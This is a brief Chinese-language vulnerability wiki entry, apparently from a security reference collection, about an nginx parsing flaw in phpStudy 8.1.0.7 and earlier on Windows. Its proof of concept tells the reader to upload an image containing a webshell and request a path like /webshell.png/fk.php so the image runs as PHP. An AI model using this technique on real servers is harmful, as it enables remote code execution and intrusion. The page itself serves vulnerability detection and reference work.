menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right All_wiki chevron_right Middleware-Vulnerability-detection-master chevron_right phpStudy chevron_right phpstudy nginx 解析漏洞
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    lightbulb_outline README

    phpstudy nginx 解析漏洞

    影响版本:

    phpStudy <=8.1.0.7 Windows版本

    poc

    http://www.xxx.com/webshell.png/fk.php (任何服务器端不存在的php文件均可,比如fk.php)
    
    上传图片马,然后使用poc进行解析:
    /webshell.png/fk.php
    即可把webshell.png当php来解析